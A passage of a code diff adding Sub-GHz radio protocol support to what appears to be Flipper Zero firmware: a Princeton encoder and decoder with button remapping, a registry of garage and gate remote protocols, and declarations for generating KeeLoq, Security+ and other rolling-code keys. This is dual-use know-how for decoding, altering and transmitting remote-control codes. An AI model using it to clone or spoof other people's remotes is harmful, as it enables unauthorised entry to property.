+void subghz_protocol_encoder_princeton_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPrinceton* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_princeton_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+        case 0xF:
+            btn = 0x2;
+            break;
+        // Second encoding type
+        case 0x30:
+            btn = 0xC0;
+            break;
+        case 0xC0:
+            btn = 0x30;
+            break;
+        case 0xF3:
+            btn = 0xC0;
+            break;
+        case 0xFC:
+            btn = 0xC0;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+        case 0xF:
+            btn = 0x1;
+            break;
+        // Second encoding type
+        case 0x30:
+            btn = 0xF3;
+            break;
+        case 0xC0:
+            btn = 0xF3;
+            break;
+        case 0xF3:
+            btn = 0x30;
+            break;
+        case 0xFC:
+            btn = 0xF3;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+        case 0xF:
+            btn = 0x4;
+            break;
+        // Second encoding type
+        case 0x30:
+            btn = 0xFC;
+            break;
+        case 0xC0:
+            btn = 0xFC;
+            break;
+        case 0xF3:
+            btn = 0xFC;
+            break;
+        case 0xFC:
+            btn = 0x30;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0xF;
+            break;
+        case 0x2:
+            btn = 0xF;
+            break;
+        case 0x4:
+            btn = 0xF;
+            break;
+        case 0x8:
+            btn = 0xF;
+            break;
+        case 0xF:
+            btn = 0x8;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderPrinceton instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_princeton_get_upload(SubGhzProtocolEncoderPrinceton* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_princeton_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    // Reconstruction of the data
+    // If we have 8bit button code move serial to left by 8 bits (and 4 if 4 bits)
+    if(instance->generic.btn == 0x30 || instance->generic.btn == 0xC0) {
+        instance->generic.data =
+            ((uint64_t)instance->generic.serial << 8 | (uint64_t)instance->generic.btn);
+    } else if(instance->generic.btn == 0xF3 || instance->generic.btn == 0xFC) {
+        instance->generic.data =
+            ((uint64_t)instance->generic.serial << 8 | (uint64_t)(instance->generic.btn & 0xF));
+    } else {
+        instance->generic.data =
+            ((uint64_t)instance->generic.serial << 4 | (uint64_t)instance->generic.btn);
+    }
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)instance->te * 3);
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)instance->te * 3);
+        }
+    }
+
+    //Send Stop bit
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+    //Send PT_GUARD_TIME
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)instance->te * instance->guard_time);
+
+    return true;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_princeton_check_remote_controller(SubGhzBlockGeneric* instance) {
+    // Parse button modes for second encoding type (and serial is smaller)
+    // Button code is 8bit and has fixed values of one of these
+    // Exclude button code for each type from serial number before parsing
+    if((instance->data & 0xFF) == 0x30 || (instance->data & 0xFF) == 0xC0) {
+        // Save serial and button code
+        instance->serial = instance->data >> 8;
+        instance->btn = instance->data & 0xFF;
+    } else if((instance->data & 0xFF) == 0x03 || (instance->data & 0xFF) == 0x0C) {
+        // Fix for button code 0x03 and 0x0C having zero at the beggining
+        instance->serial = instance->data >> 8;
+        instance->btn = (instance->data & 0xFF) | 0xF0;
+    } else {
+        instance->serial = instance->data >> 4;
+        instance->btn = instance->data & 0xF;
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(4);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_princeton_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPrinceton* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_princeton_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+        // Optional value
+        if(!flipper_format_read_uint32(
+               flipper_format, "Guard_time", (uint32_t*)&instance->guard_time, 1)) {
+            instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+        } else {
+            // Guard Time value should be between 15 -> 72 otherwise default value will be used
+            if((instance->guard_time < 15) || (instance->guard_time > 72)) {
+                instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+            }
+        }
+
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        // Get button and serial before calling get_upload
+        subghz_protocol_princeton_check_remote_controller(&instance->generic);
+
+        if(!subghz_protocol_encoder_princeton_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_princeton_stop(void* context) {
+    SubGhzProtocolEncoderPrinceton* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_princeton_yield(void* context) {
+    SubGhzProtocolEncoderPrinceton* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_princeton_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderPrinceton* instance = malloc(sizeof(SubGhzProtocolDecoderPrinceton));
+    instance->base.protocol = &subghz_protocol_princeton;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_princeton_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_princeton_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    instance->decoder.parser_step = PrincetonDecoderStepReset;
+    instance->last_data = 0;
+}
+
+void subghz_protocol_decoder_princeton_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case PrincetonDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_princeton_const.te_short * 36) <
+                        subghz_protocol_princeton_const.te_delta * 36)) {
+            //Found Preambula
+            instance->decoder.parser_step = PrincetonDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->te = 0;
+            instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+        }
+        break;
+    case PrincetonDecoderStepSaveDuration:
+        //save duration
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->te += duration;
+            instance->decoder.parser_step = PrincetonDecoderStepCheckDuration;
+        }
+        break;
+    case PrincetonDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_princeton_const.te_long * 2)) {
+                instance->decoder.parser_step = PrincetonDecoderStepSaveDuration;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_princeton_const.min_count_bit_for_found) {
+                    if((instance->last_data == instance->decoder.decode_data) &&
+                       instance->last_data) {
+                        instance->te /= (instance->decoder.decode_count_bit * 4 + 1);
+
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                        instance->guard_time = roundf((float)duration / instance->te);
+                        // Guard Time value should be between 15 -> 72 otherwise default value will be used
+                        if((instance->guard_time < 15) || (instance->guard_time > 72)) {
+                            instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+                        }
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->last_data = instance->decoder.decode_data;
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->te = 0;
+                break;
+            }
+
+            instance->te += duration;
+
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_princeton_const.te_short) <
+                subghz_protocol_princeton_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_princeton_const.te_long) <
+                subghz_protocol_princeton_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = PrincetonDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_princeton_const.te_long) <
+                 subghz_protocol_princeton_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_princeton_const.te_short) <
+                 subghz_protocol_princeton_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = PrincetonDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = PrincetonDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = PrincetonDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_princeton_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_princeton_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(flipper_format, "TE", &instance->te, 1)) {
+        FURI_LOG_E(TAG, "Unable to add TE");
+        ret = SubGhzProtocolStatusErrorParserTe;
+    }
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(flipper_format, "Guard_time", &instance->guard_time, 1)) {
+        FURI_LOG_E(TAG, "Unable to add Guard_time");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_princeton_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_princeton_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+        if(!flipper_format_read_uint32(
+               flipper_format, "Guard_time", (uint32_t*)&instance->guard_time, 1)) {
+            instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+        } else {
+            // Guard Time value should be between 15 -> 72 otherwise default value will be used
+            if((instance->guard_time < 15) || (instance->guard_time > 72)) {
+                instance->guard_time = PRINCETON_GUARD_TIME_DEFALUT;
+            }
+        }
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_decoder_princeton_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPrinceton* instance = context;
+    subghz_protocol_princeton_check_remote_controller(&instance->generic);
+    uint32_t data_rev = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    //
+
+    if(instance->generic.btn == 0x30 || instance->generic.btn == 0xC0 ||
+       instance->generic.btn == 0xF3 || instance->generic.btn == 0xFC) {
+        subghz_block_generic_global.btn_length_bit = 8;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:0x%08lX\r\n"
+            "Yek:0x%08lX\r\n"
+            "Sn:0x%05lX Btn:%02X (8b)\r\n"
+            "Te:%luus  GT:Te*%lu\r\n",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data & 0xFFFFFF),
+            data_rev,
+            instance->generic.serial,
+            (instance->generic.btn == 0xF3 || instance->generic.btn == 0xFC) ?
+                instance->generic.btn & 0xF :
+                instance->generic.btn,
+            instance->te,
+            instance->guard_time);
+    } else {
+        subghz_block_generic_global.btn_length_bit = 4;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:0x%08lX\r\n"
+            "Yek:0x%08lX\r\n"
+            "Sn:0x%05lX Btn:%01X (4b)\r\n"
+            "Te:%luus  GT:Te*%lu\r\n",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data & 0xFFFFFF),
+            data_rev,
+            instance->generic.serial,
+            instance->generic.btn,
+            instance->te,
+            instance->guard_time);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.h
new file mode 100644
index 000000000..7c775292d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.h
@@ -0,0 +1,117 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_PRINCETON_NAME "Princeton"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzProtocolDecoderPrinceton SubGhzProtocolDecoderPrinceton;
+typedef struct SubGhzProtocolEncoderPrinceton SubGhzProtocolEncoderPrinceton;
+
+extern const SubGhzProtocolDecoder subghz_protocol_princeton_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_princeton_encoder;
+extern const SubGhzProtocol subghz_protocol_princeton;
+
+/**
+ * Allocate SubGhzProtocolEncoderPrinceton.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderPrinceton* pointer to a SubGhzProtocolEncoderPrinceton instance
+ */
+void* subghz_protocol_encoder_princeton_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderPrinceton.
+ * @param context Pointer to a SubGhzProtocolEncoderPrinceton instance
+ */
+void subghz_protocol_encoder_princeton_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderPrinceton instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_princeton_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderPrinceton instance
+ */
+void subghz_protocol_encoder_princeton_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderPrinceton instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_princeton_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderPrinceton.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderPrinceton* pointer to a SubGhzProtocolDecoderPrinceton instance
+ */
+void* subghz_protocol_decoder_princeton_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderPrinceton.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ */
+void subghz_protocol_decoder_princeton_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderPrinceton.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ */
+void subghz_protocol_decoder_princeton_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_princeton_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_princeton_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderPrinceton.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_princeton_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderPrinceton.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_princeton_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_princeton_get_string(void* context, FuriString* output);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
new file mode 100644
index 000000000..d4390fd7f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
@@ -0,0 +1,36 @@
+#include "protocol_items.h" // IWYU pragma: keep
+
+const SubGhzProtocol* const subghz_protocol_registry_items[] = {
+    &subghz_protocol_gate_tx,       &subghz_protocol_keeloq,
+    &subghz_protocol_nice_flo,      &subghz_protocol_came,
+    &subghz_protocol_faac_slh,      &subghz_protocol_nice_flor_s,
+    &subghz_protocol_came_twee,     &subghz_protocol_came_atomo,
+    &subghz_protocol_nero_sketch,   &subghz_protocol_ido,
+    &subghz_protocol_hormann,       &subghz_protocol_nero_radio,
+    &subghz_protocol_somfy_telis,   &subghz_protocol_somfy_keytis,
+    &subghz_protocol_princeton,     &subghz_protocol_raw,
+    &subghz_protocol_linear,        &subghz_protocol_secplus_v2,
+    &subghz_protocol_secplus_v1,    &subghz_protocol_megacode,
+    &subghz_protocol_holtek,        &subghz_protocol_chamb_code,
+    &subghz_protocol_power_smart,   &subghz_protocol_marantec,
+    &subghz_protocol_bett,          &subghz_protocol_doitrand,
+    &subghz_protocol_phoenix_v2,    &subghz_protocol_honeywell_wdb,
+    &subghz_protocol_magellan,      &subghz_protocol_intertechno_v3,
+    &subghz_protocol_clemsa,        &subghz_protocol_ansonic,
+    &subghz_protocol_smc5326,       &subghz_protocol_holtek_th12x,
+    &subghz_protocol_linear_delta3, &subghz_protocol_dooya,
+    &subghz_protocol_alutech_at_4n, &subghz_protocol_kinggates_stylo_4k,
+    &subghz_protocol_bin_raw,       &subghz_protocol_mastercode,
+    &subghz_protocol_honeywell,     &subghz_protocol_legrand,
+    &subghz_protocol_dickert_mahs,  &subghz_protocol_gangqi,
+    &subghz_protocol_marantec24,    &subghz_protocol_hollarm,
+    &subghz_protocol_hay21,         &subghz_protocol_revers_rb2,
+    &subghz_protocol_feron,         &subghz_protocol_roger,
+    &subghz_protocol_elplast,       &subghz_protocol_treadmill37,
+    &subghz_protocol_beninca_arc,   &subghz_protocol_jarolift,
+    &subghz_protocol_ditec_gol4,
+};
+
+const SubGhzProtocolRegistry subghz_protocol_registry = {
+    .items = subghz_protocol_registry_items,
+    .size = COUNT_OF(subghz_protocol_registry_items)};
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
new file mode 100644
index 000000000..a2067f4e8
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
@@ -0,0 +1,59 @@
+#pragma once
+#include "../registry.h"
+#include "../subghz_protocol_registry.h"
+
+#include "princeton.h"
+#include "keeloq.h"
+#include "nice_flo.h"
+#include "came.h"
+#include "faac_slh.h"
+#include "nice_flor_s.h"
+#include "came_twee.h"
+#include "came_atomo.h"
+#include "nero_sketch.h"
+#include "ido.h"
+#include "hormann.h"
+#include "nero_radio.h"
+#include "somfy_telis.h"
+#include "somfy_keytis.h"
+#include "gate_tx.h"
+#include "raw.h"
+#include "linear.h"
+#include "linear_delta3.h"
+#include "secplus_v2.h"
+#include "secplus_v1.h"
+#include "megacode.h"
+#include "holtek.h"
+#include "chamberlain_code.h"
+#include "power_smart.h"
+#include "marantec.h"
+#include "bett.h"
+#include "doitrand.h"
+#include "phoenix_v2.h"
+#include "honeywell_wdb.h"
+#include "magellan.h"
+#include "intertechno_v3.h"
+#include "clemsa.h"
+#include "ansonic.h"
+#include "smc5326.h"
+#include "holtek_ht12x.h"
+#include "dooya.h"
+#include "alutech_at_4n.h"
+#include "kinggates_stylo_4k.h"
+#include "bin_raw.h"
+#include "mastercode.h"
+#include "honeywell.h"
+#include "legrand.h"
+#include "dickert_mahs.h"
+#include "gangqi.h"
+#include "marantec24.h"
+#include "hollarm.h"
+#include "hay21.h"
+#include "revers_rb2.h"
+#include "feron.h"
+#include "roger.h"
+#include "elplast.h"
+#include "treadmill37.h"
+#include "beninca_arc.h"
+#include "jarolift.h"
+#include "ditec_gol4.h"
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
new file mode 100644
index 000000000..43bef118b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
@@ -0,0 +1,285 @@
+#pragma once
+
+#include "../types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 32 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Container value, 28 bit
+ * @param manufacture_name Name of manufacturer's key
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_secplus_v2_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 28 bit
+ * @param btn Button number, 4 bit
+ * @param cnt Counter value, 16 bit
+ * @param manufacture_name Name of manufacturer's key
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_keeloq_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation for BFT.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 28 bit
+ * @param btn Button number, 4 bit
+ * @param cnt Counter value, 16 bit
+ * @param seed Seed value, 32 bit
+ * @param manufacture_name Name of manufacturer's key
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_keeloq_bft_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    uint32_t seed,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 28 bit
+ * @param btn Button number, 4 bit
+ * @param cnt Counter value, 16 bit
+ * @param seed Seed value, 32 bit
+ * @param manufacture_name Name of manufacturer's key
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_faac_slh_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    uint32_t seed,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_alutech_at_4n_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_came_atomo_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_phoenix_v2_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * New remote generation.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number
+ * @param btn Button number, 4 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
